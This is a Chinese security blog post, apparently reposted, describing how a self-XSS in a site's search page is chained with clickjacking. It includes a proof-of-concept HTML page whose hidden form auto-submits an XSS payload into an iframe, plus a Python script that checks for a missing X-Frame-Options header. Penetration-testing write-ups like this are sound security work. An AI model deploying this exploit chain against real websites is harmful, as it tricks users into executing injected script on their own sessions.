组合拳玩转self-xss
Posted HACK学习呀
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了组合拳玩转self-xss相关的知识,希望对你有一定的参考价值。
起因
昨天跟朋友去看电影,团队的小伙伴说有个站点有个self-xss,想让我看看有没有什么好的利用方法,于是便有了此文章。
正文
漏洞出现在后台的一处搜索页面,输入一个简单payload便可弹窗
但是悲催的是这是一个self-xss,需要用户自己输入payload并点击搜索才可以弹窗
一般碰到这种的xss我第一时间想到的就是看一看是否存在Click Jacking,拿出自己的测试工具进行测试,发现可以劫持
剩下的就是尝试构造poc了
先来分析下流程:用户输入语句–>点击搜索–>触发漏洞
那么我们需要做的就是
诱导受害者点开连接–>点击按钮(同时将payload提交出去)–>触发漏洞
最终poc如下(未进行css的设置)
<html>
<head>
</head>
<form action='http://www.xxxx.com/xxx' method='POST' target='itest'>
<input type='hidden' name='search' value='"><svg/onload=alert(1)>'/>
<input type='submit' value='confirm' />
</form>
<iframe STYLE="width:1000;height:1000"name="itest"></iframe>
</body>
</html>
整个过程中比较麻烦的就是点击自动post提交,幸运的是html可以简单地做到,剩下的就是一个标签闭合问题了,单引号防止payload的双引号被闭合就ok,总体上写的比较烂,不能算是一个poc,效果如下
如果将按钮的css配置的再好一些,位置与原网页重合的话效果会更好,这里只是做一个简单的演示,其实还是自己懒….
附上检测代码
import requests
def jiance(urls):
urls = "{}".format(urls)
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'
}
reqst = requests.get(url=urls,headers=header,timeout=5)
if reqst.status_code == 200:
code = reqst.headers
try:
print(code['X-FRAME-OPTIONS'])
print('[n]X-FRAME-OPTIONS header, no click hijacking vulnerability can be used')
except:
print('[+]There is no X-FRAME-OPTIONS header. There is a clicking hijacking vulnerability')
print('[!]Remind:It may be a defense against JS. Please test it yourself')
else:
print('[n]bjective instability')
def main():
urls = input('Please enter the url to be detected (note to add http://):')
jiance(urls=urls)
if __name__ == '__main__':
main()
总结
这种提交型的self-xss还是第一次玩,还是很开心的…
https://lengjibo.github.io/%E7%BB%84%E5%90%88%E6%8B%B3%E7%8E%A9%E8%BD%ACself-xss/
以上是关于组合拳玩转self-xss的主要内容,如果未能解决你的问题,请参考以下文章
一种结合了点击劫持Self-XSS复制粘贴劫持的新型XSS攻击